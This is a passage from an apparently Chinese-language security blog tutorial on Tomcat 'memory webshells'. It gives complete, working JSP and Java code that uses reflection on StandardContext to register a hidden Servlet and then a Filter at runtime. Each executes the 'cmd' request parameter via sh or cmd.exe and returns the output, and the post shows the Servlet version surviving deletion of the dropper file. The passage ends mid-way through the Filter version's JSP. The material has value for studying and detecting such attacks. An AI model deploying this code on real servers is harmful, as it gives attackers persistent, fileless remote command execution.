class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag"><<span class="name">servlet-mapping</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">servlet-name</span>></span>HelloWorld<span class="tag"></<span class="name">servlet-name</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">url-pattern</span>></span>/hello-servlet<span class="tag"></<span class="name">url-pattern</span>></span></span><br><span class="line"><span class="tag"></<span class="name">servlet-mapping</span>></span></span><br></pre></td></tr></table></figure><p>对应configureContext方法中的以下内容(约在1365行开始)</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">for</span> (Entry<String, String> entry :</span><br><span class="line"> webxml.getServletMappings().entrySet()) {</span><br><span class="line"> context.addServletMapping(entry.getKey(), entry.getValue());<span class="comment">//把url路径和servlet名相关联</span></span><br><span class="line">}</span><br></pre></td></tr></table></figure><blockquote><p>注:这里注册完了以后HelloServlet还没有实例化,只有在访问相关页面之后才会实例化</p></blockquote><p>那我们要想实现注册就只需要将封装了Servlet的wrapper放到content中,而这个content实际上是<code>StandardContext</code>类,所以我们要先获取<code>StandardContext</code></p><p>那如何获取呢?</p><p><code>StandardContext</code>实际上在<code>ServletContext</code>里,<code>ServletContext</code>可以从<code>request</code>中获取,如下图所示</p><p><img src="image-20230502155746017.png" alt="image-20230502155746017"></p><p>可见<code>servletContext</code>包含<code>applicationContext</code>,<code>applicationContext</code>包含<code>standardContext</code>,所以获取<code>standardContext</code>的代码为:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">ServletContext</span> <span class="variable">servletContext</span> <span class="operator">=</span> request.getServletContext();</span><br><span class="line"><span class="type">Field</span> <span class="variable">applicationField</span> <span class="operator">=</span> servletContext.getClass().getDeclaredField(<span class="string">"context"</span>);</span><br><span class="line">applicationField.setAccessible(<span class="literal">true</span>);</span><br><span class="line"><span class="type">ApplicationContext</span> <span class="variable">applicationContext</span> <span class="operator">=</span> (ApplicationContext) applicationField.get(servletContext);<span class="comment">//通过反射获取applicationContext</span></span><br><span class="line"></span><br><span class="line"><span class="type">Field</span> <span class="variable">standardContextField</span> <span class="operator">=</span> applicationContext.getClass().getDeclaredField(<span class="string">"context"</span>);</span><br><span class="line">standardContextField.setAccessible(<span class="literal">true</span>);</span><br><span class="line"><span class="type">StandardContext</span> <span class="variable">context</span> <span class="operator">=</span> (StandardContext) standardContextField.get(applicationContext);<span class="comment">//通过反射获取standardContext</span></span><br></pre></td></tr></table></figure><p>获取到<code>standardContext</code>后,接下来只需要将wrapper放到<code>standardContext</code>里面就完成注册了</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">Wrapper</span> <span class="variable">wrapper</span> <span class="operator">=</span> context.createWrapper();<span class="comment">//创建wrapper</span></span><br><span class="line">wrapper.setName(<span class="string">"Shell2Servlet"</span>);<span class="comment">//将Servlet名放到wrapper</span></span><br><span class="line">wrapper.setServletClass(Shell2Servlet.class.getName());<span class="comment">//将Servlet名放到wrapper</span></span><br><span class="line"></span><br><span class="line">wrapper.setServlet(<span class="keyword">new</span> <span class="title class_">Shell2Servlet</span>());<span class="comment">//实例化Shell2Servlet</span></span><br><span class="line"></span><br><span class="line">context.addChild(wrapper);<span class="comment">//将wrapper放到standardContext里</span></span><br><span class="line">context.addServletMapping(<span class="string">"/shell2"</span>, <span class="string">"Shell2Servlet"</span>);<span class="comment">//映射url地址</span></span><br></pre></td></tr></table></figure><p>那么完整的shell.jsp如下:</p><figure class="highlight jsp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br></pre></td><td class="code"><pre><span class="line"><%@ page contentType=<span class="string">"text/html;charset=UTF-8"</span> language=<span class="string">"java"</span> %></span><br><span class="line"><html></span><br><span class="line"><head></span><br><span class="line"> <title>Title</title></span><br><span class="line"></head></span><br><span class="line"><body></span><br><span class="line"><%@ page <span class="keyword">import</span>=<span class="string">"java.io.IOException"</span> %></span><br><span class="line"><%@ page <span class="keyword">import</span>=<span class="string">"java.io.InputStream"</span> %></span><br><span class="line"><%@ page <span class="keyword">import</span>=<span class="string">"java.util.Scanner"</span> %></span><br><span class="line"><%@ page <span class="keyword">import</span>=<span class="string">"org.apache.catalina.core.StandardContext"</span> %></span><br><span class="line"><%@ page <span class="keyword">import</span>=<span class="string">"java.io.PrintWriter"</span> %></span><br><span class="line"><%@ page <span class="keyword">import</span>=<span class="string">"java.lang.reflect.Field"</span> %></span><br><span class="line"><%@ page <span class="keyword">import</span>=<span class="string">"org.apache.catalina.core.ApplicationContext"</span> %></span><br><span class="line"><%@ page <span class="keyword">import</span>=<span class="string">"org.apache.catalina.Wrapper"</span> %></span><br><span class="line"></span><br><span class="line"><%!</span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Shell2Servlet</span> <span class="keyword">extends</span> <span class="title class_">HttpServlet</span> {</span><br><span class="line"></span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">init</span><span class="params">(ServletConfig servletConfig)</span> <span class="keyword">throws</span> ServletException {}</span><br><span class="line"></span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">service</span><span class="params">(ServletRequest servletRequest, ServletResponse servletResponse)</span> <span class="keyword">throws</span> ServletException, IOException {</span><br><span class="line"> <span class="type">String</span> <span class="variable">cmd</span> <span class="operator">=</span> servletRequest.getParameter(<span class="string">"cmd"</span>);</span><br><span class="line"> <span class="type">boolean</span> <span class="variable">isLinux</span> <span class="operator">=</span> <span class="literal">true</span>;</span><br><span class="line"> <span class="type">String</span> <span class="variable">osTyp</span> <span class="operator">=</span> System.getProperty(<span class="string">"os.name"</span>);</span><br><span class="line"> <span class="keyword">if</span> (osTyp != <span class="literal">null</span> && osTyp.toLowerCase().contains(<span class="string">"win"</span>)) {</span><br><span class="line"> isLinux = <span class="literal">false</span>;</span><br><span class="line"> }</span><br><span class="line"> String[] cmds = isLinux ? <span class="keyword">new</span> <span class="title class_">String</span>[]{<span class="string">"sh"</span>, <span class="string">"-c"</span>, cmd} : <span class="keyword">new</span> <span class="title class_">String</span>[]{<span class="string">"cmd.exe"</span>, <span class="string">"/c"</span>, cmd};</span><br><span class="line"> <span class="type">InputStream</span> <span class="variable">in</span> <span class="operator">=</span> Runtime.getRuntime().exec(cmds).getInputStream();</span><br><span class="line"> <span class="type">Scanner</span> <span class="variable">s</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Scanner</span>(in).useDelimiter(<span class="string">"\\a"</span>);</span><br><span class="line"> <span class="type">String</span> <span class="variable">output</span> <span class="operator">=</span> s.hasNext() ? s.next() : <span class="string">""</span>;</span><br><span class="line"> <span class="type">PrintWriter</span> <span class="variable">out</span> <span class="operator">=</span> servletResponse.getWriter();</span><br><span class="line"> out.println(output);</span><br><span class="line"> out.flush();</span><br><span class="line"> out.close();</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">destroy</span><span class="params">()</span> {</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line">%></span><br><span class="line"><%</span><br><span class="line"> <span class="type">ServletContext</span> <span class="variable">servletContext</span> <span class="operator">=</span> request.getServletContext();</span><br><span class="line"> <span class="type">Field</span> <span class="variable">applicationField</span> <span class="operator">=</span> servletContext.getClass().getDeclaredField(<span class="string">"context"</span>);</span><br><span class="line"> applicationField.setAccessible(<span class="literal">true</span>);</span><br><span class="line"> <span class="type">ApplicationContext</span> <span class="variable">applicationContext</span> <span class="operator">=</span> (ApplicationContext) applicationField.get(servletContext);</span><br><span class="line"></span><br><span class="line"> <span class="type">Field</span> <span class="variable">standardContextField</span> <span class="operator">=</span> applicationContext.getClass().getDeclaredField(<span class="string">"context"</span>);</span><br><span class="line"> standardContextField.setAccessible(<span class="literal">true</span>);</span><br><span class="line"> <span class="type">StandardContext</span> <span class="variable">context</span> <span class="operator">=</span> (StandardContext) standardContextField.get(applicationContext);</span><br><span class="line"></span><br><span class="line"> <span class="type">Wrapper</span> <span class="variable">wrapper</span> <span class="operator">=</span> context.createWrapper();</span><br><span class="line"> wrapper.setName(<span class="string">"Shell2Servlet"</span>);</span><br><span class="line"> wrapper.setServletClass(Shell2Servlet.class.getName());</span><br><span class="line"></span><br><span class="line"> wrapper.setServlet(<span class="keyword">new</span> <span class="title class_">Shell2Servlet</span>());<span class="comment">//实例化Shell2Servlet</span></span><br><span class="line"></span><br><span class="line"> context.addChild(wrapper);</span><br><span class="line"> context.addServletMapping(<span class="string">"/shell2"</span>, <span class="string">"Shell2Servlet"</span>);</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">%></span><br><span class="line"></body></span><br><span class="line"></html></span><br></pre></td></tr></table></figure><p>先访问shell.jsp,此时已经将<code>Shell2Servlet</code>注册进了tomcat容器</p><p>再访问shell2并传入cmd参数,发现命令被成功执行,</p><p><img src="image-20230502161354097.png" alt="image-20230502161354097"></p><p>然后我们将shell.jsp给删了(服务不重启)</p><p><img src="image-20230502161731013.png" alt="image-20230502161731013"></p><p>此时我们访问shell2,发现还是可以执行命令,内存马的优点就在于这里,马不依靠文件存在</p><p><img src="image-20230502161828326.png" alt="image-20230502161828326"></p><h1 id="Filter内存马">Filter内存马</h1><p>Filter作为Java web三大件之一,是一种可以对请求和响应进行拦截和处理的组件。Filter可以实现许多功能,如登录控制,权限管理,过滤敏感词汇等。Filter的使用需要<code>实现Filter接口</code>,<code>重写doFilter方法</code>,并且配置拦截路径。拦截路径可以用注解@WebFilter或者xml方式来配置。在doFilter方法中,我们可以对ServletRequest和ServletResponse对象进行操作,也可以调用FilterChain对象的doFilter方法来放行请求和响应。Filter的执行顺序是按照配置顺序来决定的,<code>先配置的先执行</code>。</p><p>和servlet类似,我们先按正常操作添加一个Myfilter.java</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.example.filter;</span><br><span class="line"><span class="keyword">import</span> javax.servlet.*;</span><br><span class="line"><span class="keyword">import</span> java.io.IOException;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Myfilter</span> <span class="keyword">implements</span> <span class="title class_">Filter</span> {</span><br><span class="line"> <span class="meta">@Override</span></span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">init</span><span class="params">(FilterConfig filterConfig)</span> <span class="keyword">throws</span> ServletException {</span><br><span class="line"> }</span><br><span class="line"> <span class="meta">@Override</span></span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">doFilter</span><span class="params">(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain)</span> <span class="keyword">throws</span> IOException, ServletException {</span><br><span class="line"> System.out.println(<span class="string">"Filter被执行了"</span>);</span><br><span class="line"> filterChain.doFilter(servletRequest, servletResponse);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="meta">@Override</span></span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">destroy</span><span class="params">()</span> {</span><br><span class="line"></span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>在webxml中绑定url</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag"><<span class="name">filter</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">filter-name</span>></span>Myfilter<span class="tag"></<span class="name">filter-name</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">filter-class</span>></span>com.example.filter.Myfilter<span class="tag"></<span class="name">filter-class</span>></span></span><br><span class="line"><span class="tag"></<span class="name">filter</span>></span></span><br><span class="line"><span class="tag"><<span class="name">filter-mapping</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">filter-name</span>></span>Myfilter<span class="tag"></<span class="name">filter-name</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">url-pattern</span>></span>/hello<span class="tag"></<span class="name">url-pattern</span>></span></span><br><span class="line"><span class="tag"></<span class="name">filter-mapping</span>></span></span><br></pre></td></tr></table></figure><p>那么在访问/hello的时候doFilter就会被调用</p><p><img src="image-20230506221604706.png" alt="image-20230506221604706"></p><p>那我们还是按照之前的方法来构建doFilter内存马</p><p>首先我们新建一个shell2.jsp,同时构造一个恶意的<code>Shellfilter</code></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Shellfilter</span> <span class="keyword">implements</span> <span class="title class_">Filter</span> {</span><br><span class="line"> <span class="meta">@Override</span></span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">init</span><span class="params">(FilterConfig filterConfig)</span> <span class="keyword">throws</span> ServletException {</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="meta">@Override</span></span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">doFilter</span><span class="params">(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain)</span> <span class="keyword">throws</span> IOException, ServletException {</span><br><span class="line"> <span class="type">String</span> <span class="variable">cmd</span> <span class="operator">=</span> servletRequest.getParameter(<span class="string">"cmd"</span>);</span><br><span class="line"> <span class="type">boolean</span> <span class="variable">isLinux</span> <span class="operator">=</span> <span class="literal">true</span>;</span><br><span class="line"> <span class="type">String</span> <span class="variable">osTyp</span> <span class="operator">=</span> System.getProperty(<span class="string">"os.name"</span>);</span><br><span class="line"> <span class="keyword">if</span> (osTyp != <span class="literal">null</span> && osTyp.toLowerCase().contains(<span class="string">"win"</span>)) {</span><br><span class="line"> isLinux = <span class="literal">false</span>;</span><br><span class="line"> }</span><br><span class="line"> String[] cmds = isLinux ? <span class="keyword">new</span> <span class="title class_">String</span>[]{<span class="string">"sh"</span>, <span class="string">"-c"</span>, cmd} : <span class="keyword">new</span> <span class="title class_">String</span>[]{<span class="string">"cmd.exe"</span>, <span class="string">"/c"</span>, cmd};</span><br><span class="line"> <span class="type">InputStream</span> <span class="variable">in</span> <span class="operator">=</span> Runtime.getRuntime().exec(cmds).getInputStream();</span><br><span class="line"> <span class="type">Scanner</span> <span class="variable">s</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Scanner</span>(in).useDelimiter(<span class="string">"\\a"</span>);</span><br><span class="line"> <span class="type">String</span> <span class="variable">output</span> <span class="operator">=</span> s.hasNext() ? s.next() : <span class="string">""</span>;</span><br><span class="line"> <span class="type">PrintWriter</span> <span class="variable">out</span> <span class="operator">=</span> servletResponse.getWriter();</span><br><span class="line"> out.println(output);</span><br><span class="line"> out.flush();</span><br><span class="line"> out.close();</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="meta">@Override</span></span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">destroy</span><span class="params">()</span> {</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>找到<code>org.apache.catalina.startup.ContextConfig#configureContext</code>中和filter有关的部分如下</p><p><img src="image-20230506221853333.png" alt="image-20230506221853333"></p><p>关键的语句就两条</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">context.addFilterDef(filter);<span class="comment">//将指定的 Filter 添加到 Context 中</span></span><br><span class="line">context.addFilterMap(filterMap);<span class="comment">//根据指定的 FilterMap 对象创建一个过滤器映射,并将其添加到 Context 中</span></span><br></pre></td></tr></table></figure><p>其中的filter对应的是<code>org.apache.tomcat.util.descriptor.web.FilterDef</code>类,filterMap对应的是</p><p><code>org.apache.tomcat.util.descriptor.web.FilterMap</code>类</p><p>我们可以先debug看看添加操作的时候filter和filterMap里面有哪些属性值</p><p><img src="image-20230506223151521.png" alt="image-20230506223151521"></p><p><img src="image-20230506223223005.png" alt="image-20230506223223005"></p><p>在shell2.jsp中对应的操作为:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//设置filterDef</span></span><br><span class="line"><span class="type">FilterDef</span> <span class="variable">filterDef</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">FilterDef</span>();</span><br><span class="line">filterDef.setFilterClass(Shellfilter.class.getName());<span class="comment">//设置对应的类名</span></span><br><span class="line">filterDef.setFilterName(<span class="string">"Shellfilter"</span>);<span class="comment">//设置对应的tFilterName</span></span><br><span class="line">filterDef.setFilter(<span class="keyword">new</span> <span class="title class_">Shellfilter</span>());<span class="comment">//实例化Shellfilter</span></span><br><span class="line">standardContext.addFilterDef(filterDef);<span class="comment">//添加进standardContext</span></span><br><span class="line"></span><br><span class="line"><span class="comment">//设置filterMap</span></span><br><span class="line"><span class="type">FilterMap</span> <span class="variable">filterMap</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">FilterMap</span>();</span><br><span class="line">filterMap.setFilterName(<span class="string">"Shellfilter"</span>);<span class="comment">//设置对应的tFilterName</span></span><br><span class="line">filterMap.addURLPattern(<span class="string">"/1y0ng"</span>);<span class="comment">//设置要映射的url</span></span><br><span class="line">filterMap.setDispatcher(DispatcherType.REQUEST.name());<span class="comment">//设置分派类型,REQUEST表示普通的 HTTP 请求</span></span><br><span class="line">standardContext.addFilterMap(filterMap);<span class="comment">//添加进standardContext</span></span><br></pre></td></tr></table></figure><p>通过上述代码,按理来说在访问/1y0ng页面的时候传入参数cmd就应该可以执行相关的命令了,但实际上会失败,为什么呢?原因是少了一个<code>filterConfig</code></p><p>我们来比较一下standardContext在<code>只进行到configureContext方法</code>和<code>服务器初始化完成后</code>之间的区别</p><p><img src="image-20230506225327889.png" alt="image-20230506225327889"></p><p>在看看执行完shell2.jsp后的standardContext</p><p><img src="image-20230506225953552.png" alt="image-20230506225953552"></p><p>可见在执行完shell2.jsp后只将<code>filterDef</code>和<code>filterMap</code>放到了<code>standardContext</code>的<code>filterDefs</code>和<code>filterMaps</code>中,而filterConfigs中却依旧没有Shellfilter,所以导致Shellfilter没有成功注册到tomcat中</p><p>filterConfig对应的类为<code>org.apache.catalina.core.ApplicationFilterConfig</code>类,同时还包含了<code>filterDef</code>和对应的<code>standardContext</code>(从ApplicationFilterConfig的构造方法里可以看出)</p><p>那么对于standardContext的一个结构图为:</p><p><img src="image-20230506231226978.png" alt="image-20230506231226978"></p><p>所以这里要将<code>filterDef</code>和<code>standardContext</code>放到filterConfig中</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//使用反射创建filterConfig对象</span></span><br><span class="line"><span class="type">Class</span> <span class="variable">configclass</span> <span class="operator">=</span> Class.forName(<span class="string">"org.apache.catalina.core.ApplicationFilterConfig"</span>);</span><br><span class="line"><span class="type">Constructor</span> <span class="variable">configconstructor</span> <span class="operator">=</span> configclass.getDeclaredConstructor(Context.class,FilterDef.class);</span><br><span class="line">configconstructor.setAccessible(<span class="literal">true</span>);</span><br><span class="line"><span class="type">FilterConfig</span> <span class="variable">filterConfig</span> <span class="operator">=</span> (FilterConfig) configconstructor.newInstance(standardContext,filterDef);</span><br></pre></td></tr></table></figure><p>再将<code>filterConfig</code>放到filterConfigs中</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//反射获取filterConfigs</span></span><br><span class="line"><span class="type">Field</span> <span class="variable">configsfield</span> <span class="operator">=</span> standardContext.getClass().getDeclaredField(<span class="string">"filterConfigs"</span>);</span><br><span class="line">configsfield.setAccessible(<span class="literal">true</span>);</span><br><span class="line"><span class="type">Map</span> <span class="variable">filterConfigs</span> <span class="operator">=</span> (Map) configsfield.get(standardContext);</span><br><span class="line">filterConfigs.put(<span class="string">"Shellfilter"</span>,filterConfig);</span><br></pre></td></tr></table></figure><p>故完整的shell2.jsp为:</p><figure class="highlight jsp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br></pre></td><td class="code"><pre><span class="line"><%@ page <span class="keyword">import</span>=<span class="string">"java.io.IOException"</span> %></span><br><span class="line"><%@ page <span class="keyword">import</span>=<span class="string">"java.lang.reflect.Field"</span> %></span><br><span class="line"><%@ page <span class="keyword">import</span>=<span class="string">"org.apache.catalina.core.ApplicationContext"</span> %></span><br><span class="line"><%@ page <span class="keyword">import</span>=<span class="string">"org.apache.catalina.core.StandardContext"</span> %></span><br><span class="line"><%@ page <span class="keyword">import</span>=<span class="string">"java.lang.reflect.Constructor"</span> %></span><br><span class="line"><%@ page <span class="keyword">import</span>=<span class="string">"org.apache.tomcat.util.descriptor.web.FilterDef"</span> %></span><br><span class="line"><%@ page <span class="keyword">import</span>=<span class="string">"org.apache.tomcat.util.descriptor.web.FilterMap"</span> %></span><br><span class="line"><%@ page <span class="keyword">import</span>=<span class="string">"java.util.Map"</span> %></span><br><span class="line"><%@ page <span class="keyword">import</span>=<span class="string">"org.apache.catalina.Context"</span> %></span><br><span class="line"><%@ page <span class="keyword">import</span>=<span class="string">"java.io.InputStream"</span> %></span><br><span class="line"><%@ page <span class="keyword">import</span>=<span class="string">"java.io.PrintWriter"</span> %></span><br><span class="line"><%@ page <span class="keyword">import</span>=<span class="string">"java.util.Scanner"</span> %></span><br><span class="line"><%@ page contentType=<span class="string">"text/html;charset=UTF-8"</span> language=<span class="string">"java"</span> %></span><br><span class="line"><html></span><br><span class="line"><head></span><br><span class="line"> <title>Title</title></span><br><span class="line"></head></span><br><span class="line"><body></span><br><span class="line"><%!</span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Shellfilter</span> <span class="keyword">implements</span> <span class="title class_">Filter</span> {</span><br><span class="line"> <span class="meta">@Override</span></span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">init</span><span class="params">(FilterConfig filterConfig)</span> <span class="keyword">throws</span> ServletException {</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="meta">@Override</span></span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">doFilter</span><span class="params">(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain)</span> <span class="keyword">throws</span> IOException, ServletException {</span><br><span class="line"> <span class="type">String</span> <span class="variable">cmd</span> <span class="operator">=</span> servletRequest.getParameter(<span class="string">"cmd"</span>);</span><br><span class="line"> <span class="type">boolean</span> <span class="variable">isLinux</span> <span class="operator">=</span> <span class="literal">true</span>;</span><br><span class="line"> <span class="type">String</span> <span class="variable">osTyp</span> <span class="operator">=</span> System.getProperty(<span class="string">"os.name"</span>);</span><br><span class="line"> <span class="keyword">if</span> (osTyp != <span class="literal">null</span> && osTyp.toLowerCase().contains(<span class="string">"win"</span>)) {</span><br><span class="line"> isLinux = <span class="literal">false</span>;</span><br><span class="line"> }</span><br><span class="line"> String[] cmds = isLinux ? <span class="keyword">new</span> <span class="title class_">String</span>[]{<span class="string">"sh"</span>, <span class="string">"-c"</span>, cmd} : <span class="keyword">new</span> <span class="title class_">String</span>[]{<span class="string">"cmd.exe"</span>, <span class="string">"/c"</span>, cmd};</span><br><span class="line"> <span class="type">InputStream</span> <span class="variable">in</span> <span class="operator">=</span> Runtime.getRuntime().exec(cmds).getInputStream();</span><br><span class="line"> <span class="type">Scanner</span> <span class="variable">s</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Scanner</span>(in).useDelimiter(<span class="string">"\\a"</span>);</span><br><span class="line"> <span class="type">String</span> <span class="variable">output</span> <span class="operator">=</span> s.hasNext() ? s.next() : <span class="string">""</span>;</span><br><span class="line"> <span class="type">PrintWriter</span> <span class="variable">out</span> <span class="operator">=</span> servletResponse.getWriter();</span><br><span class="line"> out.println(output);</span><br><span class="line"> out.flush();</span><br><span class="line"> out.close();</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="meta">@Override</span></span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">destroy</span><span class="params">()</span> {</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line">%></span><br><span class="line"><%</span><br><span class="line"> <span class="comment">//拿到standardContext</span></span><br><span class="line"> <span class="type">ServletContext</span> <span 